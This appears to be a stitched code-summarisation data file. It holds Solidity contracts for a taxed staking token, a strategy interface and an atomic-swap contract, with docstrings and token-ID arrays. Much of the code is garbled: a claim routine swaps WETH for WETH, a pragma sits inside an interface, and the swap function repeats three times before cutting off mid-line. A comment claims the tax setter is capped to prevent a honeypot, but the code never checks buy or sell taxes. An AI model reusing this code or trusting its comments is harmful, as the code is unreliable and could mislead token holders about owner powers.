_excludedFromStaking.add(address(_uniswapV2Router)); _excludedFromStaking.add(_uniswapV2PairAddress); _excludedFromStaking.add(address(this)); _excludedFromStaking.add(0x000000000000000000000000000000000000dEaD); } //Transfer functionality/// //transfer function, every transfer runs through this function function _transfer(address sender, address recipient, uint256 amount) private{ require(sender != address(0), "Transfer from zero"); require(recipient != address(0), "Transfer to zero"); //Manually Excluded adresses are transfering tax and lock free bool isExcluded = (_excluded.contains(sender) || _excluded.contains(recipient)); //Transactions from and to the contract are always tax and lock free bool isContractTransfer=(sender==address(this) || recipient==address(this)); //transfers between uniswapV2Router and uniswapV2Pair are tax and lock free address uniswapV2Router=address(_uniswapV2Router); bool isLiquidityTransfer = ((sender == _uniswapV2PairAddress && recipient == uniswapV2Router) || (recipient == _uniswapV2PairAddress && sender == uniswapV2Router)); //differentiate between buy/sell/transfer to apply different taxes/restrictions bool isBuy=sender==_uniswapV2PairAddress|| sender == uniswapV2Router; bool isSell=recipient==_uniswapV2PairAddress|| recipient == uniswapV2Router; //Pick transfer if(isContractTransfer || isLiquidityTransfer || isExcluded){ _feelessTransfer(sender, recipient, amount); } else{ //once trading is enabled, it can't be turned off again require(tradingEnabled,"trading not yet enabled"); _taxedTransfer(sender,recipient,amount,isBuy,isSell); } } //applies taxes, checks for limits, locks generates autoLP and stakingETH, and autostakes function _taxedTransfer(address sender, address recipient, uint256 amount,bool isBuy,bool isSell) private{ uint256 recipientBalance = _balances[recipient]; uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "Transfer exceeds balance"); uint8 tax; if(isSell){ //Sells can't exceed the sell limit(21,000 Tokens at start, can be updated to circulating supply) require(amount<=sellLimit,"Dump protection"); tax=_sellTax; } else if(isBuy){ if(!_excludedFromBuyLock.contains(recipient)){ //If buyer bought less than buyLockTime(2h 50m) ago, buy is declined, can be disabled by Team require(_buyLock[recipient]<=block.timestamp||buyLockDisabled,"Buyer in buyLock"); //Sets the time buyers get locked(2 hours 50 mins by default) _buyLock[recipient]=block.timestamp+buyLockTime; } //Checks If the recipient balance(excluding Taxes) would exceed Balance Limit require(recipientBalance+amount<=balanceLimit,"whale protection"); require(amount <= antiWhale,"Tx amount exceeding max buy amount"); tax=_buyTax; } else {//Transfer //withdraws ETH when sending less or equal to 1 Token //that way you can withdraw without connecting to any dApp. //might needs higher gas limit if(amount<=10**(_decimals)) claimBTC(sender); //Checks If the recipient balance(excluding Taxes) would exceed Balance Limit require(recipientBalance+amount<=balanceLimit,"whale protection"); tax=_transferTax; } //Swapping AutoLP and MarketingETH is only possible if sender is not uniswapV2 pair, //if its not manually disabled, if its not already swapping and if its a Sell to avoid // people from causing a large price impact from repeatedly transfering when theres a large backlog of Tokens if((sender!=_uniswapV2PairAddress)&&(!manualConversion)&&(!_isSwappingContractModifier)&&isSell) _swapContractToken(); //Calculates the exact token amount for each tax uint256 tokensToBeBurnt=_calculateFee(amount, tax, _burnTax); //staking and liquidity Tax get treated the same, only during conversion they get split uint256 contractToken=_calculateFee(amount, tax, _stakingTax+_liquidityTax); //Subtract the Taxed Tokens from the amount uint256 taxedAmount=amount-(tokensToBeBurnt + contractToken); //Removes token and handles staking _removeToken(sender,amount); //Adds the taxed tokens to the contract wallet _balances[address(this)] += contractToken; //Burns tokens _circulatingSupply-=tokensToBeBurnt; //Adds token and handles staking _addToken(recipient, taxedAmount); emit Transfer(sender,recipient,taxedAmount); } //Feeless transfer only transfers and autostakes function _feelessTransfer(address sender, address recipient, uint256 amount) private{ uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "Transfer exceeds balance"); //Removes token and handles staking _removeToken(sender,amount); //Adds token and handles staking _addToken(recipient, amount); emit Transfer(sender,recipient,amount); } //Calculates the token that should be taxed function _calculateFee(uint256 amount, uint8 tax, uint8 taxPercent) private pure returns (uint256) { return (amount*tax*taxPercent) / 10000; } //ETH Autostake///////////////////////////////////////////////////////////////////////////////////////// //Autostake uses the balances of each holder to redistribute auto generated ETH. //Each transaction _addToken and _removeToken gets called for the transaction amount //WithdrawETH can be used for any holder to withdraw ETH at any time, like true Staking, //so unlike MRAT clones you can leave and forget your Token and claim after a while //lock for the withdraw bool private _isWithdrawing; //Multiplier to add some accuracy to profitPerShare uint256 private constant DistributionMultiplier = 2**64; //profit for each share a holder holds, a share equals a token. uint256 public profitPerShare; //the total reward distributed through staking, for tracking purposes uint256 public totalStakingReward; //the total payout through staking, for tracking purposes uint256 public totalPayouts; //marketing share starts at 50% //its capped to 50% max, the percentage of the staking that gets used for //marketing/paying the team uint8 public StakingShare=50; //balance that is claimable by the team uint256 public marketingBalance; //Mapping of the already paid out(or missed) shares of each staker mapping(address => uint256) private alreadyPaidShares; //Mapping of shares that are reserved for payout mapping(address => uint256) private toBePaid; //Contract, uniswapV2 and burnAddress are excluded, other addresses like CEX //can be manually excluded, excluded list is limited to 30 entries to avoid a //out of gas exeption during sells function isExcludedFromStaking(address addr) public view returns (bool){ return _excludedFromStaking.contains(addr); } //Total shares equals circulating supply minus excluded Balances function _getTotalShares() public view returns (uint256){ uint256 shares=_circulatingSupply; //substracts all excluded from shares, excluded list is limited to 30 // to avoid creating a Honeypot through OutOfGas exeption for(uint i=0; i<_excludedFromStaking.length(); i++){ shares-=_balances[_excludedFromStaking.at(i)]; } return shares; } //adds Token to balances, adds new ETH to the toBePaid mapping and resets staking function _addToken(address addr, uint256 amount) private { //the amount of token after transfer uint256 newAmount=_balances[addr]+amount; if(isExcludedFromStaking(addr)){ _balances[addr]=newAmount; return; } //gets the payout before the change uint256 payment=_newDividentsOf(addr); //resets dividents to 0 for newAmount alreadyPaidShares[addr] = profitPerShare * newAmount; //adds dividents to the toBePaid mapping toBePaid[addr]+=payment; //sets newBalance _balances[addr]=newAmount; } //removes Token, adds ETH to the toBePaid mapping and resets staking function _removeToken(address addr, uint256 amount) private { //the amount of token after transfer uint256 newAmount=_balances[addr]-amount; if(isExcludedFromStaking(addr)){ _balances[addr]=newAmount; return; } //gets the payout before the change uint256 payment=_newDividentsOf(addr); //sets newBalance _balances[addr]=newAmount; //resets dividents to 0 for newAmount alreadyPaidShares[addr] = profitPerShare * newAmount; //adds dividents to the toBePaid mapping toBePaid[addr]+=payment; } //gets the not dividents of a staker that aren't in the toBePaid mapping //returns wrong value for excluded accounts function _newDividentsOf(address staker) private view returns (uint256) { uint256 fullPayout = profitPerShare * _balances[staker]; // if theres an overflow for some unexpected reason, return 0, instead of // an exeption to still make trades possible if(fullPayout<alreadyPaidShares[staker]) return 0; return (fullPayout - alreadyPaidShares[staker]) / DistributionMultiplier; } //distributes ETH between marketing share and dividends function _distributeStake(uint256 ETHAmount) private { // Deduct marketing Tax uint256 marketingSplit = (ETHAmount * StakingShare) / 100; uint256 amount = ETHAmount - marketingSplit; marketingBalance+=marketingSplit; if (amount > 0) { totalStakingReward += amount; uint256 totalShares=_getTotalShares(); //when there are 0 shares, add everything to marketing budget if (totalShares == 0) { marketingBalance += amount; }else{ //Increases profit per share based on current total shares profitPerShare += ((amount * DistributionMultiplier) / totalShares); } } } event OnWithdrawBTC(uint256 amount, address recipient); //withdraws all dividents of address function claimBTC(address addr) private{ require(!_isWithdrawing); _isWithdrawing=true; uint256 amount; if(isExcludedFromStaking(addr)){ //if excluded just withdraw remaining toBePaid ETH amount=toBePaid[addr]; toBePaid[addr]=0; } else{ uint256 newAmount=_newDividentsOf(addr); //sets payout mapping to current amount alreadyPaidShares[addr] = profitPerShare * _balances[addr]; //the amount to be paid amount=toBePaid[addr]+newAmount; toBePaid[addr]=0; } if(amount==0){//no withdraw if 0 amount _isWithdrawing=false; return; } totalPayouts+=amount; address[] memory path = new address[](2); path[0] = _uniswapV2Router.WETH(); //WETH path[1] = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; //WETH _uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}( 0, path, addr, block.timestamp); emit OnWithdrawBTC(amount, addr); _isWithdrawing=false; } //Swap Contract Tokens////////////////////////////////////////////////////////////////////////////////// //tracks auto generated ETH, useful for ticker etc uint256 public totalLPETH; //Locks the swap if already swapping bool private _isSwappingContractModifier; modifier lockTheSwap { _isSwappingContractModifier = true; _; _isSwappingContractModifier = false; } //swaps the token on the contract for Marketing ETH and LP Token. //always swaps the sellLimit of token to avoid a large price impact function _swapContractToken() private lockTheSwap{ uint256 contractBalance=_balances[address(this)]; uint16 totalTax=_liquidityTax+_stakingTax; uint256 tokenToSwap = _setSellAmount; //only swap if contractBalance is larger than tokenToSwap, and totalTax is unequal to 0 if(contractBalance<tokenToSwap||totalTax==0){ return; } //splits the token in TokenForLiquidity and tokenForMarketing uint256 tokenForLiquidity=(tokenToSwap*_liquidityTax)/totalTax; uint256 tokenForMarketing= tokenToSwap-tokenForLiquidity; //splits tokenForLiquidity in 2 halves uint256 liqToken=tokenForLiquidity/2; uint256 liqETHToken=tokenForLiquidity-liqToken; //swaps marktetingToken and the liquidity token half for ETH uint256 swapToken=liqETHToken+tokenForMarketing; //Gets the initial ETH balance, so swap won't touch any staked ETH uint256 initialETHBalance = address(this).balance; _swapTokenForETH(swapToken); uint256 newETH=(address(this).balance - initialETHBalance); //calculates the amount of ETH belonging to the LP-Pair and converts them to LP uint256 liqETH = (newETH*liqETHToken)/swapToken; _addLiquidity(liqToken, liqETH); //Get the ETH balance after LP generation to get the //exact amount of token left for Staking uint256 distributeETH=(address(this).balance - initialETHBalance); //distributes remaining ETH between stakers and Marketing _distributeStake(distributeETH); } //swaps tokens on the contract for ETH function _swapTokenForETH(uint256 amount) private { _approve(address(this), address(_uniswapV2Router), amount); address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( amount, 0, path, address(this), block.timestamp ); } //Adds Liquidity directly to the contract where LP are locked(unlike safemoon forks, that transfer it to the owner) function _addLiquidity(uint256 tokenamount, uint256 ETHamount) private { totalLPETH=ETHamount; _approve(address(this), address(_uniswapV2Router), tokenamount); _uniswapV2Router.addLiquidityETH{value: ETHamount}( address(this), tokenamount, 0, 0, address(this), block.timestamp ); } //public functions ///////////////////////////////////////////////////////////////////////////////////// function getLiquidityReleaseTimeInSeconds() public view returns (uint256){ if(block.timestamp<_liquidityUnlockTime){ return _liquidityUnlockTime-block.timestamp; } return 0; } function getBurnedTokens() public view returns(uint256){ return (InitialSupply-_circulatingSupply)/10**_decimals; } function getLimits() public view returns(uint256 balance, uint256 sell){ return(balanceLimit/10**_decimals, sellLimit/10**_decimals); } function getTaxes() public view returns(uint256 burnTax,uint256 liquidityTax,uint256 marketingTax, uint256 buyTax, uint256 sellTax, uint256 transferTax){ return (_burnTax,_liquidityTax,_stakingTax,_buyTax,_sellTax,_transferTax); } //How long is a given address still locked from buying function getAddressBuyLockTimeInSeconds(address AddressToCheck) public view returns (uint256){ uint256 lockTime=_buyLock[AddressToCheck]; if(lockTime<=block.timestamp) { return 0; } return lockTime-block.timestamp; } function getBuyLockTimeInSeconds() public view returns(uint256){ return buyLockTime; } //Functions every wallet can call //Resets buy lock of caller to the default buyLockTime should something go very wrong function AddressResetBuyLock() public{ _buyLock[msg.sender]=block.timestamp+buyLockTime; } function getDividents(address addr) public view returns (uint256){ if(isExcludedFromStaking(addr)) return toBePaid[addr]; return _newDividentsOf(addr)+toBePaid[addr]; } //Settings////////////////////////////////////////////////////////////////////////////////////////////// bool public buyLockDisabled; uint256 public buyLockTime; bool public manualConversion; function TeamWithdrawALLMarketingETH() public onlyOwner{ uint256 amount=marketingBalance; marketingBalance=0; payable(TeamWallet).transfer(amount*3/4); payable(LoanWallet).transfer(amount*1/4); } function TeamWithdrawXMarketingETH(uint256 amount) public onlyOwner{ require(amount<=marketingBalance); marketingBalance-=amount; payable(TeamWallet).transfer(amount*3/4); payable(LoanWallet).transfer(amount*1/4); } //switches autoLiquidity and marketing ETH generation during transfers function TeamSwitchManualETHConversion(bool manual) public onlyOwner{ manualConversion=manual; } function TeamChangeAntiWhale(uint256 newAntiWhale) public onlyOwner{ antiWhale=newAntiWhale * 10**_decimals; } function TeamChangeTeamWallet(address newTeamWallet) public onlyOwner{ TeamWallet=payable(newTeamWallet); } function TeamChangeLoanWallet(address newLoanWallet) public onlyOwner{ LoanWallet=payable(newLoanWallet); } //Disables the timeLock after buying for everyone function TeamDisableBuyLock(bool disabled) public onlyOwner{ buyLockDisabled=disabled; } //Sets BuyLockTime, needs to be lower than MaxBuyLockTime function TeamSetBuyLockTime(uint256 buyLockSeconds)public onlyOwner{ require(buyLockSeconds<=MaxBuyLockTime,"Buy Lock time too high"); buyLockTime=buyLockSeconds; } //Allows wallet exclusion to be added after launch function AddWalletExclusion(address exclusionAdd) public onlyOwner{ _excluded.add(exclusionAdd); } //Sets Taxes, is limited by MaxTax(20%) to make it impossible to create honeypot function TeamSetTaxes(uint8 burnTaxes, uint8 liquidityTaxes, uint8 stakingTaxes,uint8 buyTax, uint8 sellTax, uint8 transferTax) public onlyOwner{ uint8 totalTax=burnTaxes+liquidityTaxes+stakingTaxes; require(totalTax==100, "burn+liq+marketing needs to equal 100%"); _burnTax=burnTaxes; _liquidityTax=liquidityTaxes; _stakingTax=stakingTaxes; _buyTax=buyTax; _sellTax=sellTax; _transferTax=transferTax; } //How much of the staking tax should be allocated for marketing function TeamChangeStakingShare(uint8 newShare) public onlyOwner{ require(newShare<=50); StakingShare=newShare; } //manually converts contract token to LP and staking ETH function TeamCreateLPandETH() public onlyOwner{ _swapContractToken(); } //Limits need to be at least target, to avoid setting value to 0(avoid potential Honeypot) function TeamUpdateLimits(uint256 newBalanceLimit, uint256 newSellLimit) public onlyOwner{ //SellLimit needs to be below 1% to avoid a Large Price impact when generating auto LP require(newSellLimit<_circulatingSupply/100); //Adds decimals to limits newBalanceLimit=newBalanceLimit*10**_decimals; newSellLimit=newSellLimit*10**_decimals; //Calculates the target Limits based on supply uint256 targetBalanceLimit=_circulatingSupply/BalanceLimitDivider; uint256 targetSellLimit=_circulatingSupply/SellLimitDivider; require((newBalanceLimit>=targetBalanceLimit), "newBalanceLimit needs to be at least target"); require((newSellLimit>=targetSellLimit), "newSellLimit needs to be at least target"); balanceLimit = newBalanceLimit; sellLimit = newSellLimit; } //Setup Functions/////////////////////////////////////////////////////////////////////////////////////// bool public tradingEnabled; address private _liquidityTokenAddress; //Enables trading for everyone function SetupEnableTrading() public onlyOwner{ tradingEnabled=true; } //Sets up the LP-Token Address required for LP Release function SetupLiquidityTokenAddress(address liquidityTokenAddress) public onlyOwner{ _liquidityTokenAddress=liquidityTokenAddress; } //Contract TokenToSwap change function. function changeTokenToSwapAmount(uint256 _setAmountToSwap) public onlyOwner { _setSellAmount = _setAmountToSwap; } //Liquidity Lock//////////////////////////////////////////////////////////////////////////////////////// //the timestamp when Liquidity unlocks uint256 private _liquidityUnlockTime; function TeamUnlockLiquidityInSeconds(uint256 secondsUntilUnlock) public onlyOwner{ _prolongLiquidityLock(secondsUntilUnlock+block.timestamp); } function _prolongLiquidityLock(uint256 newUnlockTime) private{ // require new unlock time to be longer than old one require(newUnlockTime>_liquidityUnlockTime); _liquidityUnlockTime=newUnlockTime; } //Release Liquidity Tokens once unlock time is over function TeamReleaseLiquidity() public onlyOwner { //Only callable if liquidity Unlock time is over require(block.timestamp >= _liquidityUnlockTime, "Not yet unlocked"); IuniswapV2ERC20 liquidityToken = IuniswapV2ERC20(_liquidityTokenAddress); uint256 amount = liquidityToken.balanceOf(address(this)); //Liquidity release if something goes wrong at start liquidityToken.transfer(TeamWallet, amount); } //Removes Liquidity once unlock Time is over, function TeamRemoveLiquidity(bool addToStaking) public onlyOwner{ //Only callable if liquidity Unlock time is over require(block.timestamp >= _liquidityUnlockTime, "Not yet unlocked"); _liquidityUnlockTime=block.timestamp+DefaultLiquidityLockTime; IuniswapV2ERC20 liquidityToken = IuniswapV2ERC20(_liquidityTokenAddress); uint256 amount = liquidityToken.balanceOf(address(this)); liquidityToken.approve(address(_uniswapV2Router),amount); //Removes Liquidity and either distributes liquidity ETH to stakers, or // adds them to marketing Balance //Token will be converted //to Liquidity and Staking ETH again uint256 initialETHBalance = address(this).balance; _uniswapV2Router.removeLiquidityETHSupportingFeeOnTransferTokens( address(this), amount, 0, 0, address(this), block.timestamp ); uint256 newETHBalance = address(this).balance-initialETHBalance; if(addToStaking){ _distributeStake(newETHBalance); } else{ marketingBalance+=newETHBalance; } } //Releases all remaining ETH on the contract wallet, so ETH wont be burned function TeamRemoveRemainingETH() public onlyOwner{ require(block.timestamp >= _liquidityUnlockTime, "Not yet unlocked"); _liquidityUnlockTime=block.timestamp+DefaultLiquidityLockTime; (bool sent,) =TeamWallet.call{value: (address(this).balance)}(""); require(sent); } //////////////////////////////////////////////////////////////////////////////////////////////////////// //external////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////// receive() external payable {} fallback() external payable {} // IBEP20 function getOwner() external view override returns (address) { return owner(); } function name() external pure override returns (string memory) { return _name; } function symbol() external pure override returns (string memory) { return _symbol; } function decimals() external pure override returns (uint8) { return _decimals; } function totalSupply() external view override returns (uint256) { return _circulatingSupply; } function balanceOf(address account) external view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address _owner, address spender) external view override returns (uint256) { return _allowances[_owner][spender]; } function approve(address spender, uint256 amount) external override returns (bool) { _approve(msg.sender, spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "Approve from zero"); require(spender != address(0), "Approve to zero"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount, "Transfer > allowance"); _approve(sender, msg.sender, currentAllowance - amount); return true; } // IBEP20 - Helpers function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { uint256 currentAllowance = _allowances[msg.sender][spender]; require(currentAllowance >= subtractedValue, "<0 allowance"); _approve(msg.sender, spender, currentAllowance - subtractedValue); return true; } }
Resets buy lock of caller to the default buyLockTime should something go very wrong
function AddressResetBuyLock() public{ _buyLock[msg.sender]=block.timestamp+buyLockTime; }
965,469
[ 1, 18900, 30143, 2176, 434, 4894, 358, 326, 805, 30143, 2531, 950, 1410, 5943, 1960, 8572, 7194, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 5267, 7013, 38, 9835, 2531, 1435, 1071, 95, 203, 3639, 389, 70, 9835, 2531, 63, 3576, 18, 15330, 65, 33, 2629, 18, 5508, 15, 70, 9835, 2531, 950, 31, 203, 202, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x91C986709Bb4fE0763edF8E2690EE9d5019Bea4a/sources/contracts/interfaces/IStrategyBase.sol
@title IStrategyBase Interface @author imToken Labs
interface IStrategyBase { event UpgradeSpender(address newSpender); event AllowTransfer(address indexed spender, address token); event DisallowTransfer(address indexed spender, address token); event DepositETH(uint256 amount); function upgradeSpender(address _newSpender) external; function setAllowance(address[] calldata _tokenList, address _spender) external; function closeAllowance(address[] calldata _tokenList, address _spender) external; function depositETH() external; pragma solidity >=0.7.0; }
2,656,969
[ 1, 45, 4525, 2171, 6682, 225, 709, 1345, 511, 5113, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 467, 4525, 2171, 288, 203, 565, 871, 17699, 27223, 264, 12, 2867, 394, 27223, 264, 1769, 203, 203, 565, 871, 7852, 5912, 12, 2867, 8808, 17571, 264, 16, 1758, 1147, 1769, 203, 203, 565, 871, 3035, 5965, 5912, 12, 2867, 8808, 17571, 264, 16, 1758, 1147, 1769, 203, 203, 565, 871, 4019, 538, 305, 1584, 44, 12, 11890, 5034, 3844, 1769, 203, 203, 565, 445, 8400, 27223, 264, 12, 2867, 389, 2704, 27223, 264, 13, 3903, 31, 203, 203, 565, 445, 444, 7009, 1359, 12, 2867, 8526, 745, 892, 389, 2316, 682, 16, 1758, 389, 87, 1302, 264, 13, 3903, 31, 203, 203, 565, 445, 1746, 7009, 1359, 12, 2867, 8526, 745, 892, 389, 2316, 682, 16, 1758, 389, 87, 1302, 264, 13, 3903, 31, 203, 203, 565, 445, 443, 1724, 1584, 44, 1435, 3903, 31, 203, 683, 9454, 18035, 560, 1545, 20, 18, 27, 18, 20, 31, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xD3d19539D61bB0e7617E499C7262594E71CA1c66/sources/SwapCreator.sol
Swap state is PENDING when the swap is first created and funded Alice sets Stage to READY when she sees the funds locked on the other chain. this prevents Bob from withdrawing funds without locking funds on the other chain first Stage is set to COMPLETED upon the swap value being claimed or refunded.
contract SwapCreator is ERC2771Context, Secp256k1 { enum Stage { INVALID, PENDING, READY, COMPLETED } struct Swap { address payable owner; address payable claimer; bytes32 pubKeyClaim; bytes32 pubKeyRefund; uint256 timeout0; uint256 timeout1; address asset; uint256 value; uint256 nonce; } mapping(bytes32 => Stage) public swaps; event New( bytes32 swapID, bytes32 claimKey, bytes32 refundKey, uint256 timeout0, uint256 timeout1, address asset, uint256 value ); event Ready(bytes32 indexed swapID); event Claimed(bytes32 indexed swapID, bytes32 indexed s); event Refunded(bytes32 indexed swapID, bytes32 indexed s); error ZeroValue(); error InvalidSwapKey(); error InvalidClaimer(); error InvalidTimeout(); error InvalidValue(); error SwapAlreadyExists(); error SwapNotPending(); error OnlySwapOwner(); error OnlyTrustedForwarder(); error OnlySwapClaimer(); error InvalidSwap(); error SwapCompleted(); error TooEarlyToClaim(); error TooLateToClaim(); error NotTimeToRefund(); error InvalidSecret(); function newSwap( bytes32 _pubKeyClaim, bytes32 _pubKeyRefund, address payable _claimer, uint256 _timeoutDuration0, uint256 _timeoutDuration1, address _asset, uint256 _value, uint256 _nonce ) public payable returns (bytes32) { if (_value == 0) revert ZeroValue(); if (_asset == address(0)) { if (_value != msg.value) revert InvalidValue(); IERC20(_asset).transferFrom(msg.sender, address(this), _value); } if (_pubKeyClaim == 0 || _pubKeyRefund == 0) revert InvalidSwapKey(); if (_claimer == address(0)) revert InvalidClaimer(); if (_timeoutDuration0 == 0 || _timeoutDuration1 == 0) revert InvalidTimeout(); Swap memory swap = Swap({ owner: payable(msg.sender), pubKeyClaim: _pubKeyClaim, pubKeyRefund: _pubKeyRefund, claimer: _claimer, timeout0: block.timestamp + _timeoutDuration0, timeout1: block.timestamp + _timeoutDuration0 + _timeoutDuration1, asset: _asset, value: _value, nonce: _nonce }); bytes32 swapID = keccak256(abi.encode(swap)); emit New( swapID, _pubKeyClaim, _pubKeyRefund, swap.timeout0, swap.timeout1, swap.asset, swap.value ); swaps[swapID] = Stage.PENDING; return swapID; } function newSwap( bytes32 _pubKeyClaim, bytes32 _pubKeyRefund, address payable _claimer, uint256 _timeoutDuration0, uint256 _timeoutDuration1, address _asset, uint256 _value, uint256 _nonce ) public payable returns (bytes32) { if (_value == 0) revert ZeroValue(); if (_asset == address(0)) { if (_value != msg.value) revert InvalidValue(); IERC20(_asset).transferFrom(msg.sender, address(this), _value); } if (_pubKeyClaim == 0 || _pubKeyRefund == 0) revert InvalidSwapKey(); if (_claimer == address(0)) revert InvalidClaimer(); if (_timeoutDuration0 == 0 || _timeoutDuration1 == 0) revert InvalidTimeout(); Swap memory swap = Swap({ owner: payable(msg.sender), pubKeyClaim: _pubKeyClaim, pubKeyRefund: _pubKeyRefund, claimer: _claimer, timeout0: block.timestamp + _timeoutDuration0, timeout1: block.timestamp + _timeoutDuration0 + _timeoutDuration1, asset: _asset, value: _value, nonce: _nonce }); bytes32 swapID = keccak256(abi.encode(swap)); emit New( swapID, _pubKeyClaim, _pubKeyRefund, swap.timeout0, swap.timeout1, swap.asset, swap.value ); swaps[swapID] = Stage.PENDING; return swapID; } } else { function newSwap( bytes32 _pubKeyClaim, bytes32 _pubKeyRefund, address payable _claimer, uint256 _timeoutDuration0, uint256 _timeoutDuration1, address _asset, uint256 _value, uint256 _nonce ) public payable returns (bytes32) { if (_value == 0) revert ZeroValue(); if (_asset == address(0)) { if (_value != msg.value) revert InvalidValue(); IERC20(_asset).transferFrom(msg.sender, address(this), _value); } if (_pubKeyClaim == 0 || _pubKeyRefund == 0) revert InvalidSwapKey(); if (_claimer == address(0)) revert 